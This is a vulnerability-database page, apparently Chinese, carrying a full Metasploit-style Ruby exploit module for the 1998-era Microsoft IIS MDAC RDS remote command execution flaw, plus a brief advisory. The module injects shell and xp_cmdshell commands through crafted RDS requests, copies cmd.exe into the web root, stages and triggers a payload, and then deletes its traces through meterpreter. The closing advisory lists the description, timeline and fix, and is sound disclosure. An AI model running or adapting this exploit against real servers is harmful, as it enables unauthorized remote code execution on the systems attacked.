					# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 17 1998'
		)

		register_options(
			[
				OptString.new('PATH', [ true,  "The path to msadcs.dll", '/msadc/msadcs.dll']),
				OptBool.new('METHOD', [ true,  "If true, use VbBusObj instead of AdvancedDataFactory", false]),
				OptBool.new('NAME', [ true,  "If true, attempt to obtain the MACHINE NAME", false]),
				OptString.new('DBHOST', [ true,  "The SQL Server host", 'local']),
				OptString.new('DBNAME', [ true,  "The SQL Server database", 'master']),
				OptString.new('DBUID', [ true,  "The SQL Server uid (default is sa)", 'sa']),
				OptString.new('DBPASSWORD', [ false,  "The SQL Server password (default is blank)", '']),
			], self.class)
	end

	def check
		res = send_request_raw({
				'uri'          =>  datastore['PATH'],
				'method'       => 'GET',
			})
		if (res.code == 200)
			print_status("Server responded with HTTP #{res.code} OK")
			if (res.body =~ /Content-Type: application\/x-varg/)
				print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
				Exploit::CheckCode::Detected
			end
		else
			Exploit::CheckCode::Safe
		end
	end

	def create_dsn(drive, dsn)
		req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="

		res = send_request_raw({
			'uri' => req,
		})

		if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED!  The most likely cause is invalid attributes<\/B><\/H2>/)
			vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
			return false
		elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
			print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
			return true
		end
	end

	def exec_cmd(sql, cmd, d)
		boundary = rand_text_alphanumeric(8)
		method 	 = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
		dsn 	 = Rex::Text.to_unicode(d)
		if (d  =~ /driver=\{SQL Server\}/)
			select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
		elsif (cmd.nil?)
			select = Rex::Text.to_unicode(sql)
		else
			select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
		end

		vprint_status("Attempting to request: #{select} on #{d}")

		query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"

		sploit  = "--#{boundary}\r\n"
		sploit << "Content-Type: application/x-varg\r\n"
		sploit << "Content-Length: #{query.length}\r\n\r\n"
		sploit << query
		sploit << "\r\n--#{boundary}--\r\n"

		data = "ADCClientVersion:01.06\r\n"
		data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
		data << "\r\n\r\n"
		data << sploit

		res = send_request_raw({
			'uri'          => datastore['PATH'] + '/' + method,
			'agent' => 'ACTIVEDATA',
			'headers' =>
				{
					'Content-Length' => data.length,
					'Connection' => "Keep-Alive",
				},
			'method'       => 'POST',
			'data'         => data,
		})

		response = Rex::Text.to_ascii(res.body, 'utf-16be')

		if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
			vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
			return true, sql, d
		elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
			print_error("Exploit failed: the server is patched")
			return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
		elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
			vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
		elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
			vprint_error("Server is vulnerable but the drive and path is incorrect.")
		elsif (response =~ /Disk or network error./)
			vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
		elsif (response =~ /Syntax error in CREATE TABLE statement/)
			vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
		elsif (response =~ /Table '(\w+)' already exists/)
			vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
		elsif (response =~ /Syntax error \(missing operator\) in query expression/)
			vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
		elsif (response =~ /Too few parameters. Expected 1/)
			print_good("Command was probably executed!")
		elsif (response =~ /Data source name not found and no default driver specified/)
			vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
		elsif (response =~ /Couldn't find file/)
			vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
		elsif (response =~ /Specified SQL server not found/)
			vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
		elsif (response =~ /Server does not exist or access denied/)
			vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
		elsif (response =~ /General error Unable to open registry key/)
			vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
		elsif (response =~ /It is in a read-only database/)
			vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
		elsif (response =~ /Invalid connection/)
			vprint_error("Server accepted request however the MSSQL database says Invalid connection")
		elsif (response =~ /\[SQL Server\]Login failed for user/)
			vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
		elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
			vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
		elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
			vprint_error("Server accepted request however it failed for reasons unknown.")
		elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
			vprint_error("Unknown reply - but the command didn't execute")
		else
			vprint_status("Unknown reply - server is likely patched:\n#{response}")
		end
		return false
	end

	def find_exec
		# config data - greets to rain forest puppy :)
		boundary = rand_text_alphanumeric(8)

		if (datastore['NAME']) # Obtain the hostname if true

			data = "ADCClientVersion:01.06\r\n"
			data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
			data << "\r\n\r\n--#{boundary}--\r\n"

			res = send_request_raw({
			'uri'     => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
			'agent'   => 'ACTIVEDATA',
			'headers' =>
				{
					'Content-Length' => data.length,
					'Connection' => "Keep-Alive",
				},
			'method'       => 'POST',
			'data'         => data,

			})

			if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
				print_good("Hostname: #{$1}")
			end
		end

		drives	= ["c","d","e","f","g","h"]
		sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
		dsns 	= ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
			   "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]

		sysmdbs = [     "\\catroot\\icatalog.mdb", #these are %systemroot%
				"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
				"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
				"\\system32\\certmdb.mdb",
				"\\system32\\ias\\ias.mdb",
				"\\system32\\ias\\dnary.mdb",
				"\\system32\\certlog\\certsrv.mdb" ]

		mdbs = [	"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
				"\\cfusion\\cfapps\\forums\\forums_.mdb",
				"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
				"\\cfusion\\cfapps\\security\\realm_.mdb",
				"\\cfusion\\cfapps\\security\\data\\realm.mdb",
				"\\cfusion\\database\\cfexamples.mdb",
				"\\cfusion\\database\\cfsnippets.mdb",
				"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
				"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
				"\\cfusion\\brighttiger\\database\\cleam.mdb",
				"\\cfusion\\database\\smpolicy.mdb",
				"\\cfusion\\database\\cypress.mdb",
				"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
				"\\website\\cgi-win\\dbsample.mdb",
				"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
				"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
			]

		print_status("Step 1: Trying raw driver to btcustmr.mdb")

		drives.each do |drive|
			sysdirs.each do |sysdir|
				ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
				return ret if (ret)
			end
		end

		print_status("Step 2: Trying to make our own DSN...")
		x = false # Stop if we make a DSN
		drives.each do |drive|
			dsns.each do |dsn|
				unless x
				x = create_dsn(drive, dsn)
				end
			end
		end

		table = rand_text_alphanumeric(3)
		print_status("Step 3: Trying to create a new table in our own DSN...")
		exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query

		print_status("Step 4: Trying to execute our command via our own DSN and table...")
		ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
		return ret if (ret)

		print_status("Step 5: Trying to execute our command via known DSNs...")
		dsns.each do |dsn|
			ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
			return ret if (ret)
		end

		print_status("Step 6: Trying known system .mdbs...")
		drives.each do |drive|
			sysdirs.each do |sysdir|
				sysmdbs.each do |sysmdb|
					exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
					ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
					return ret if (ret)
				end
			end
		end

		print_status("Step 7: Trying known program file .mdbs...")
		drives.each do |drive|
			mdbs.each do |mdb|
				exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
				ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
				return ret if (ret)
			end
		end

		print_status("Step 8: Trying SQL xp_cmdshell method...")
		ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
		return ret if (ret)

		return -1
	end

	def exploit
		print_status("Searching for valid command execution point...")
		x = false
		until (x)
			x,y,z =find_exec
			if (x == -1)
				break
			end
		end

		if (x == true)
			print_good("Successful command execution found!")

			# now copy the file
			exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
			print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
			# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
			# Unfortunately, using %SystemRoot% doesn't seem to work :(
			res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)

			# Use the CMD stager to get a payload running
			execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })

			# Save these file names for later deletion
			@exe_cmd_copy = exe_fname
			@exe_payload = payload_exe

			# Just for good measure, we'll make a quick, direct request for the payload
			# Using the "start" method doesn't seem to make iis very happy :(
			print_status("Triggering the payload via a direct request...")
			res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
		end

		handler

	end

	#
	# The following handles deleting the copied cmd.exe and payload exe!
	#
	def on_new_session(client)

		if client.type != "meterpreter"
			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
			print_error("The copied exe and the payload exe must be removed manually.")
			return
		end

		return if not @exe_cmd_copy

		# stdapi must be loaded before we can use fs.file
		client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

		# Delete the copied CMD.exe
		print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
		client.fs.file.rm(@exe_cmd_copy)

		# Migrate so  that we can delete the payload exe
		client.console.run_single("run migrate -f")

		# Delete the payload exe
		return if not @exe_payload

		delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?

		print_status("Changing permissions on #{delete_me_too} ...")
		cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
		client.sys.process.execute(cmd, nil, {'Hidden' => true })

		print_status("Deleting #{delete_me_too} ...")
		begin
			client.fs.file.rm(delete_me_too)
		rescue ::Exception => e
			print_error("Exception: #{e.inspect}")
		end
	end

	def cleanup
		framework.events.remove_exploit_subscriber(self)
	end

	def execute_command(cmd, opts = {})
		# Don't try the start command...
		# Using the "start" method doesn't seem to make iis very happy :(
		return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

		print_status("Executing command: #{cmd} (options: #{opts.inspect})")

		uri = '/scripts/'
		exe = opts[:cgifname]
		if (exe)
			uri << exe
		end
		uri << '?/x+/c+'
		uri << Rex::Text.uri_encode(cmd)

		vprint_status("Attempting to execute: #{uri}")

		res = send_request_raw({
				'uri'     => uri,
				'method'  => 'GET',
			})
	end

end
    

- 漏洞信息

272
Microsoft IIS MDAC RDS Arbitrary Remote Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Microsoft Data Access Components (MDAC) contains a flaw that allows a remote attacker to access/query OLE database sources and potentially execute arbitrary commands. Due to a flaw in the way RDS DataFactory object requests are handled, a remote attacker can execute privileged commands without authentication.

- 时间线

1999-07-19 Unknow
1999-07-19 Unknow

- 解决方案

Upgrade to MDAC version 2.1 SP2 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround: Delete the /msadc virtual directory in IIS

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站